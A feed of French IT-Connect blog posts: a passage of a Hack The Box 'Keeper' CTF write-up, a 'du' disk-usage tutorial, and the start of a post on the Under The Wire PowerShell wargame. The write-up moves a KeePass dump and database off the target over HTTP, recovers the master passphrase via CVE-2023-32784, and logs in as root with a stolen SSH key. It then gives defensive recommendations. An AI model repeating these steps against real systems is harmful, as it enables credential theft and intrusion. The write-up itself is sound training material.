<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1048/003/" target="_blank" rel="noopener nofollow" title="T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol">T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol</a></p>



<pre class="wp-block-code"><code># Système Linux compromis
lnorgaard@keeper:~$ <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">python3 -m http.server 9001</mark>

# Mon poste Kali
$ <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">wget http://10.10.11.227:9001/RT30000.zip</mark>
$ unzip RT30000.zip 
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx    </code></pre>



<p>Ici, j'utilise le module <strong>http.server</strong> de <strong>Python3</strong> pour créer un "mini serveur web" qui exposera sur le port 9001 du système compromis un index correspond au <strong>home</strong> de l'utilisateur "<strong>lnorgaard</strong>". Il s'agit d'une méthode simple et rapide pour échanger des fichiers avec un autre système. Attention cependant, les données transitent un HTTP, et donc en clair.</p>



<p>Nous pourrions tenter d'effectuer une attaque par brute force sur le coffre-fort Keepass à l'aide d'outils comme <strong>hashcat</strong> ou <strong>John The Ripper</strong>. Néanmoins, la présence d'un fichier<strong> </strong>"<strong>.dmp</strong>" est assez inhabituelle.</p>



<blockquote class="wp-block-quote">
<p>Un fichier .dmp est généralement <strong>un fichier de vidage mémoire (</strong><em>core dump</em>) qui enregistre l'état de la mémoire d'un processus au moment de son arrêt anormal, comme un crash. Ces fichiers sont utiles pour l'analyse post-mortem <strong>des erreurs et des problèmes logiciels</strong> (raison du crash). Ils peuvent notamment contenir des informations sensibles lorsque les programmes concernés en stockent en mémoire.</p>
</blockquote>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1212/" target="_blank" rel="noopener nofollow" title="">T1212 - Exploitation for Credential Access</a></p>



<p>Après quelques recherches sur la façon dont je pourrais extraire des informations d'un dump mémoire du processus Keepass, je découvre la <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-32784" target="_blank" rel="noopener nofollow" title="">CVE-2023-32784</a> affectant les versions de Keepass 2.x antérieures à la version 2.54 : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="369" src="media/4bd804ee.hackthebox-writeup-keeper-CVE-800x369.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE-800x369.png" alt="" class="wp-image-73879" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE-800x369.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE-550x254.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE-768x354.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-CVE.png 1012w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>D'après la description de cette CVE, il serait possible d'<strong>extraire le mot de passe du coffre-fort Keepass à partir d'un crash dump</strong>, nous ignorons si la version de Keepass utilisée est vulnérable, mais nous avons à disposition un crash dump, cela vaut donc le coup de tenter. </p>



<p>Il faut comprendre que, pour un logiciel "standard", le fait de retrouver des informations en clair d'un crash dump est plutôt normal. On s'attend cependant à ce qu'un <strong>outil de sécurité dissimule ces informations afin que l'obtention d'un crash dump ne donne pas lieu à la fuite d'un secret</strong>, c'est pourquoi il s'agit ici d'une vulnérabilité donnant lieu à une CVE. J'utilise pour "exploiter" ce dump mémoire et cette CVE l'outil <a href="https://github.com/vdohney/keepass-password-dumper" target="_blank" rel="noopener" title="Keepass Password Dumper">Keepass Password Dumper</a> :</p>



<pre class="wp-block-code"><code>Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">dgrød med fløde </mark>    

       â—Ã¸dgrÃ¸d med flÃ¸de
        â—ÃdgrÃ¸d med flÃ¸de
        â—,dgrÃ¸d med flÃ¸de
         â—ldgrÃ¸d med flÃ¸de
         â—`dgrÃ¸d med flÃ¸de
         â—-dgrÃ¸d med flÃ¸de
         â—'dgrÃ¸d med flÃ¸de
         â—]dgrÃ¸d med flÃ¸de
         â—Â§dgrÃ¸d med flÃ¸de
        â—AdgrÃ¸d med flÃ¸de
         â—IdgrÃ¸d med flÃ¸de
         â—:dgrÃ¸d med flÃ¸de
         â—=dgrÃ¸d med flÃ¸de
         â—_dgrÃ¸d med flÃ¸de
         â—cdgrÃ¸d med flÃ¸de
         â—MdgrÃ¸d med flÃ¸de</code></pre>



<p>Cela ne me donne rien de compréhensible, même si le terme<code> "<strong>dgrød med fløde</strong></code>" est constitué de caractères qui pourraient être ceux d'une langue étrangère. En effectuant une requête Google sur ces termes, je trouve le nom d'un plat danois : <code><strong>rødgrød med fløde</strong></code> :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="510" src="media/39e80b53.hackthebox-writeup-keeper-googler-800x510.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler-800x510.png" alt="" class="wp-image-73880" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler-800x510.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler-550x351.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler-768x490.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-googler.png 887w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Ce nom constituerait en soi <strong>une passphrase plutôt robuste</strong> avec de nombreux caractères et des caractères spéciaux/inhabituels (espace et "<code>ø</code>"). Il s'agit effectivement de la passphrase protégeant le coffre-fort KeePass récupéré ! Ce coffre-fort contient notamment une clé privée d'authentification : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="583" src="media/66cb1d6a.hackthebox-writeup-keeper-SSH-key-800x583.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key-800x583.png" alt="" class="wp-image-73881" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key-800x583.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key-550x401.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key-150x109.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key-768x560.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key-50x36.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-key.png 967w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Un dernier détail, il s'agit d'une clé SSH formatée pour l'outil <strong>Putty</strong>, qui n'est pas tout à fait le même que le format utilisé par <strong>OpenSSH</strong>. Une petite conversion est nécessaire : </p>



<pre class="wp-block-code"><code>$ sudo apt-get install putty-tools<br>$ puttygen /tmp/puttyKey.ppk -O private-openssh -o /tmp/openssh.key</code></pre>



<p>Nous pouvons à présent nous connecter en tant que root sur le système via SSH : </p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="">T1021.004 - Remote Services: SSH</a></p>



<pre class="wp-block-code"><code>$ chmod 600 /tmp/openssh.key 
$ ssh root@10.10.11.227 -i /tmp/openssh.key
root@keeper:~# cat root.txt
d5d&#91;REDACTED]fc8b81</code></pre>



<p>Et voilà, nous avons obtenu les droits "<strong>root</strong>" sur le système cible.</p>



<h2 class="wp-block-heading">III. Résumé de l'attaque</h2>



<p>Voici une description de l'attaque réalisée en utilisant les TTP (<em>Tactics, Techniques and Procedures</em>) du <a href="https://attack.mitre.org/" target="_blank" rel="noopener nofollow" title="">framework MITRE ATT&amp;CK</a> :</p>



<figure class="wp-block-table"><table><tbody><tr><td><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>TTP</strong> (MITRE ATT&amp;CK)</mark></td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="T1046 - Network Service Discovery">T1046 - Network Service Discovery</a></td><td>Réalisation d'un scan réseau via <strong>nmap</strong>, identification du CMS Request Tracker.</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1078/001/" target="_blank" rel="noopener nofollow" title="">T1078.001 - Valid Accounts: Default Accounts</a></td><td>Authentification à l'aide des <strong>identifiants par défaut </strong>du CMS.</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1552/" target="_blank" rel="noopener nofollow" title="T1552 - Unsecured Credentials">T1552 - Unsecured Credentials</a></td><td>Découverte d'un <strong>mot de passe utilisateur dans la description</strong> d'un utilisateur du CMS.</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="">T1021.004 - Remote Services: SSH</a></td><td>Accès en SSH avec le compte <strong>lnorgaard</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1083/" target="_blank" rel="noopener nofollow" title="">T1083 - File and Directory Discovery</a></td><td>Découverte d'<strong>une archive ZIP</strong> contenant une base KeePass et un <strong>dump mémoire</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1048/003/" target="_blank" rel="noopener nofollow" title="T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol">T1048 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol</a></td><td><strong>Exfiltration via HTTP</strong> de l'archive ZIP vers le poste de l'attaquant</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1212/" target="_blank" rel="noopener nofollow" title="">T1212 - Exploitation for Credential Access</a></td><td>Exploitation de la <strong>CVE-2023-32784</strong> exposant le mot de passe du coffre-fort en clair lors d'un dump mémoire.</td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1021/004/" target="_blank" rel="noopener nofollow" title="">T1021.004 - Remote Services: SSH</a></td><td>Accès en SSH avec le compte <strong>root</strong></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IV. Notions abordées</h2>



<h3 class="wp-block-heading">A. Côté attaquant</h3>



<p>Ici, il s'agissait de revenir aux fondamentaux : <strong>le mot de passe du compte par défaut</strong>. Il s'agit d'une faiblesse très présente dans la réalité, la découverte de cette vulnérabilité permet de rappeler qu'il ne faut jamais négliger les tests les plus simples.</p>



<p>À l'inverse, il est aussi important de <strong>savoir identifier les éléments inhabituels </strong>au sein d'un système. C'est bien plus le cas dans les CTF que dans la vie réelle. Ici, nous aurions pu passer plusieurs heures à tenter de deviner le mot de passe de la base KeePass découverte, en vain. L'option du brute force étant la plus logique, il fallait <strong>également s'intéresser au dump mémoire</strong> (plutôt rare d'en trouver dans la vie réelle ou sur les exercices Hack The Box). Le lien avec la version de KeePass n'était pas forcément évident à faire sans avoir la version utilisée par l'utilisateur, mais les bons termes de recherche permettaient de nous orienter vers la bonne CVE.</p>



<p>Un avantage que nous avons aussi souvent sur Hack The Box est qui n'existe pas dans la vie réelle est que les CVE à exploiter (quand il y en a) sont souvent récentes, <strong>ce qui permet de faire un tri plus rapide</strong>. Dans des conditions réelles, il est fréquent de découvrir des applications qui n'ont pas été mises à jour depuis plusieurs années. Les CVE potentiellement applicables se présentent donc en grand nombre.</p>



<h3 class="wp-block-heading">B. Côté défenseur</h3>



<p>Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :</p>



<p><strong>Recommandation n°1 :</strong> la principale recommandation ici concerne le premier élément de notre scénario d'attaque. Il est recommandé de modifier systématiquement les mots de passe par défaut des équipements et applications installés sur le système d'information, ou de désactiver ce compte par défaut pour le remplacer par un autre lorsque c'est possible (l'attaquant devra alors devenir le login en plus du mot de passe). Cela est notamment mentionné dans la directive n°12 du <a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener nofollow" title="hygiène de l'ANSSI">guide d'hygiène de l'ANSSI</a> : <strong>Changer les éléments d’authentification par défaut sur les équipements et services.</strong></p>



<blockquote class="wp-block-quote">
<p><em>Il est impératif de partir du principe que les configurations par défaut des systèmes d’information sont systématiquement connues des attaquants, quand bien même celles-ci ne le sont pas du grand public. Ces configurations se révèlent (trop) souvent triviales (mot de passe identique à l’identifiant, mal dimensionné ou commun à l’ensemble des équipements et services par exemple) et sont, la plupart du temps, faciles à obtenir pour des attaquants capables de se faire passer pour un utilisateur légitime.</em></p>
<cite>Guide d'hygiène informatique - ANSSI</cite></blockquote>



<p><strong>Recommandation n°2 :</strong> il est recommandé de protéger les clés SSH par une passphrase, ce qui empêchera ou ralentira leur réutilisation en cas de vol par un attaquant. Ce cas de figure est d'ailleurs mentionné par l'ANSSI comme un exemple d'authentification double facteur dans son guide <a href="https://cyber.gouv.fr/publications/recommandations-relatives-lauthentification-multifacteur-et-aux-mots-de-passe" target="_blank" rel="noopener" title="Recommandations relatives à l'authentification multifacteur et aux mots de passe">Recommandations relatives à l'authentification multifacteur et aux mots de passe</a>. La passphrase permet de chiffrer la clé privée.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="335" src="media/20ce2f11.hackthebox-writeup-keeper-SSH-passphrase-anssi-800x335.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi-800x335.png" alt="" class="wp-image-73884" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi-800x335.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi-550x230.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi-768x322.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-keeper-SSH-passphrase-anssi.png 867w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p><strong>Recommandation n°3</strong> : il est également recommandé de <strong>mettre à jour les logiciels utilisés sur le système Linux</strong> concerné. Au-delà de la présence inhabituelle du dump mémoire Keepass (qui était situé dans le "<strong>home</strong>" de l'utilisateur propriétaire), c'est une CVE affectant une version non à jour qui a mené à la découverte du mot de passe du coffre-fort. De manière plus formelle, nous pouvons mentionner la directive n°34 du <a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener" title="">Guide d'hygiène de l'ANSSI</a> : <strong>définir une politique de mise à jour des composants du système d’information</strong>.</p>



<p><em>J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur <a href="https://discord.com/invite/KMWN7TUQfm" target="_blank" rel="noopener nofollow" title="">notre Discord</a> !</em> </p>



<p>Enfin, <strong>si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité</strong>, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noopener nofollow" title="">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-keeper/">Hack The Box – Résoudre la box Keeper : outils, méthodes et recommandations pour se protéger</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: http://www.it-connect.fr/?p=2878
title: Linux : comment obtenir la taille d’un répertoire ? La réponse avec la commande du
uri: Linux-comment-obtenir-la-taille-d-un-répertoire-La-réponse-ave
url: https://www.it-connect.fr/tuto-linux-obtenir-taille-dossier-commande-du/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à calculer la taille d'un dossier sous Linux, à l'aide de la commande "du".</strong> Que ce soit sous Linux, ou sur un autre système d'exploitation, il peut s'avérer nécessaire et utile d'être capable d'afficher la taille totale d'un dossier ou d'un fichier. </p>



<p>Sous Linux, la commande "<strong>du</strong>" qui signifie "<strong>Disk Usage</strong>", fait partie des commandes indispensables, notamment sur un système dépourvu d'interface graphique.</p>



<p><em>Version originale de l'article : 6 mars 2013.</em></p>



<h2 class="wp-block-heading">II. Calculer la taille d'un dossier avec du</h2>



<p>Pour cette démonstration, nous allons utiliser le répertoire "<strong>/home/flo/docs</strong>" qui contient plusieurs fichiers, comme le montre l'image ci-dessous :</p>



<pre class="wp-block-code"><code>ls -l /home/flo/docs</code></pre>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="124" src="media/3fada498.Calculer-taille-dossier-Linux.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Calculer-taille-dossier-Linux.png" alt="Calculer taille dossier Linux" class="wp-image-76089" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Calculer-taille-dossier-Linux.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Calculer-taille-dossier-Linux-550x85.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Calculer-taille-dossier-Linux-150x23.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Calculer-taille-dossier-Linux-768x119.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Calculer-taille-dossier-Linux-50x8.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Tout d'abord, il faut savoir que le fait d'exécuter la commande "du" sans option va permettre d'obtenir la taille du répertoire courant.</p>



<pre class="wp-block-code"><code>du</code></pre>



<p>Dans le cas présent, la valeur retournée est celle-ci : <strong>350004</strong>. Voilà, ceci correspond à la taille, en octets, de ce répertoire.</p>



<p>Pour que ce soit plus facile à lire, nous allons ajouter l'option "-<strong>h</strong>" qui signifie "<strong>Human readable</strong>" et qui permet d'afficher le résultat en kilo-octets, méga-octets, giga-octets, etc... Afin d'avoir une valeur plus facilement compréhensible pour un humain.</p>



<pre class="wp-block-preformatted">du -h</pre>



<p>Cette fois-ci, le résultat est plus explicité : <strong>342M</strong>, pour <strong>342 Mo</strong>.</p>



<p>Voici la différence en image :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="68" src="media/2c2be398.Afficher-taille-dossier-avec-commande-du-Linux.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Afficher-taille-dossier-avec-commande-du-Linux.png" alt="Afficher taille dossier avec commande du Linux" class="wp-image-76090" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Afficher-taille-dossier-avec-commande-du-Linux.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Afficher-taille-dossier-avec-commande-du-Linux-550x47.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Afficher-taille-dossier-avec-commande-du-Linux-150x13.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Afficher-taille-dossier-avec-commande-du-Linux-768x65.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Afficher-taille-dossier-avec-commande-du-Linux-50x4.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ici, il n'y a pas de sous-dossiers dans "/home/flo/docs", donc la commande retourne uniquement la taille de ce répertoire. Il est à noter que s'il y a des sous-dossiers, la <strong>commande du</strong> va retourner la taille totale, ainsi que la taille pour chaque sous-dossier. Pratique, n'est-ce pas...</p>



<p>Voici un exemple, si l'on remonte d'un cran (/home/flo) :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="84" src="media/3054cde0.commande-du-taille-dossier-et-sous-dossiers.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/commande-du-taille-dossier-et-sous-dossiers.png" alt="commande du taille dossier et sous-dossiers" class="wp-image-76091" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/commande-du-taille-dossier-et-sous-dossiers.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/commande-du-taille-dossier-et-sous-dossiers-550x58.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/commande-du-taille-dossier-et-sous-dossiers-150x16.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/commande-du-taille-dossier-et-sous-dossiers-768x81.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/commande-du-taille-dossier-et-sous-dossiers-50x5.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si l'on souhaite obtenir un résultat plus compact avec uniquement la taille totale, l'option "s" doit être ajoutée, comme ceci :</p>



<pre class="wp-block-code"><code>du -sh</code></pre>



<p>Enfin, sachez que pour <strong>calculer la taille du répertoire de notre choix</strong>, il suffit de le préciser à la suite de la commande. Par exemple, si l'on désire<strong> calculer la taille du répertoire "/etc/" </strong>de notre machine :</p>



<pre class="wp-block-code"><code>du -sh /etc/</code></pre>



<p>Peu importe dans quel répertoire on se situe (au niveau du prompt), c'est bien la taille du répertoire cible qui est calculée.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="90" src="media/16239778.Obtenir-taille-dun-repertoire-sous-Linux-avec-du.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Obtenir-taille-dun-repertoire-sous-Linux-avec-du.png" alt="Obtenir taille d'un répertoire sous Linux avec du" class="wp-image-76092" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Obtenir-taille-dun-repertoire-sous-Linux-avec-du.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Obtenir-taille-dun-repertoire-sous-Linux-avec-du-550x62.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Obtenir-taille-dun-repertoire-sous-Linux-avec-du-150x17.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Obtenir-taille-dun-repertoire-sous-Linux-avec-du-768x86.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Obtenir-taille-dun-repertoire-sous-Linux-avec-du-50x6.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote">
<p>Remarque : si vous spécifiez le chemin vers un fichier, vous pouvez obtenir sa taille dans un format human readable avec l'option "h". Toutefois, cette option est également disponible avec la commande "ls" que vous connaissez certainement.</p>
</blockquote>



<h2 class="wp-block-heading">III. Obtenir la liste des répertoires les plus volumineux</h2>



<p>La commande <strong>du</strong>, couplée aux commandes <strong>sort </strong>et <strong>head</strong>, va permettre d'<strong>obtenir la liste des répertoires les plus volumineux</strong> présents sur votre machine <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a>. Dans certaines situations, notamment si l'on a besoin de libérer de l'espace disque sur un serveur Linux, ceci peut s'avérer très pratique. Ce qui est intéressant, c'est que l'on peut effectuer cette recherche sur une partie spécifique du système de fichiers : /var, /home, /etc, etc.</p>



<p>Sur une machine où il y a de nombreux utilisateurs, nous pourrions <strong>rechercher les répertoires "home" les plus volumineux</strong>. </p>



<p>Pour cela, nous allons cibler "<strong>/home</strong>" avec <strong>du </strong>puis envoyer le résultat à la commande <strong>sort </strong>pour <strong>trier les répertoires en fonction de leur taille</strong>, et enfin, nous allons envoyer la sortie de la commande sort à la commande <strong>head </strong>pour <strong>afficher que les 5 premiers répertoires</strong> (il suffit de modifier cette valeur pour avoir un Top 3, un Top 5, un Top 10, etc.).</p>



<p>Ce qui donne :</p>



<pre class="wp-block-code"><code>du -h --max-depth=1 /home/ | sort -rh | head -5</code></pre>



<p>L'option "<strong>--max-depth=1</strong>" permet de prendre uniquement les répertoires de premier niveau (c'est-à-dire les répertoires avec le nom des utilisateurs, dans notre cas). C'est important, car sinon la sortie de la commande sera moins explicite.</p>



<p>Voici la différence avec ou sans cette option :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="186" src="media/47071a61.Linux-liste-des-repertoires-les-plus-volumineux.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Linux-liste-des-repertoires-les-plus-volumineux.png" alt="Linux liste des répertoires les plus volumineux" class="wp-image-76093" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Linux-liste-des-repertoires-les-plus-volumineux.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Linux-liste-des-repertoires-les-plus-volumineux-550x128.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Linux-liste-des-repertoires-les-plus-volumineux-150x35.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Linux-liste-des-repertoires-les-plus-volumineux-768x179.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Linux-liste-des-repertoires-les-plus-volumineux-50x12.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>La <strong>commande du</strong>, disponible sur Debian, Ubuntu, Red Hat, etc... est très pratique, et elle doit être connue de tous les administrateurs systèmes qui ont besoin de gérer des machines Linux. <img src="media/7b64c362.1f609.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Enfin, <strong>pensez à précéder la commande "du" avec "sudo"</strong> pour éviter d'utiliser directement le compte "root" et avoir <strong>suffisamment de privilèges</strong> pour <strong>calculer la taille d'un répertoire ou d'une arborescence complète</strong>.</p><p>The post <a href="https://www.it-connect.fr/tuto-linux-obtenir-taille-dossier-commande-du/">Linux : comment obtenir la taille d’un répertoire ? La réponse avec la commande du</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74222
title: Under The Wire, un wargame pour apprendre PowerShell
uri: Under-The-Wire-un-wargame-pour-apprendre-PowerShell
url: https://www.it-connect.fr/under-the-wire-un-wargame-pour-apprendre-powershell/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, nous allons découvrir Under the Wire, une plateforme gratuite qui héberge plusieurs wargames pour apprendre PowerShell en s'amusant. </strong>Oui, je vous assure, on peut s'amuser avec PowerShell.</p>



<p>Les wargames sont des jeux appréciés, car ils permettent d'apprendre en jouant, c'est-à-dire qu'il y a une réelle portée éducative derrière un wargame. Celui que l'on va découvrir aujourd'hui s'appelle Under the Wire et il a pour objectif de vous faire progresser en PowerShell !</p>



<ul>
<li><a href="https://underthewire.tech/" target="_blank" rel="noopener nofollow" title="">Accéder au site Under the Wire</a></li>
</ul>



<p>Cet article est disponible au format vidéo :</p>



<ul>
<li><a href="https://youtu.be/Ul1qeuOgA6k" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/Ul1qeuOgA6k" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Précédemment, nous avions également vu <strong>le module PowerShell Koans pour progresser en PowerShell </strong>en répondant à différentes questions et exercices. PowerShell Koans est dans un style totalement différent, mais vous pouvez le tester gratuitement aussi :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-apprendre-powershell-aide-de-pskoans/" target="_blank" rel="noopener" title="">Apprendre PowerShell avec PSKoans</a></li>
</ul>



<h2 class="wp-block-heading">II. Comment fonctionne Under the Wire ?</h2>



<p>Under the Wire propose un ensemble de missions découpées en plusieurs quêtes dont l'objectif est de vous permettre d'apprendre de nouvelles commandes PowerShell. A chaque fois, vous devez la ou les commandes PowerShell permettant de récolter une ou plusieurs informations. Ainsi, vous allez pouvoir progresser en trouvant la réponse à l'énigme de chaque quête.</p>



<p>Actuellement, il y a 5 wargames accessibles :</p>



<ul>
<li>Century</li>



<li>Cyborg</li>



<li>Groot</li>



<li>Oracle</li>



<li>Trebek</li>
</ul>



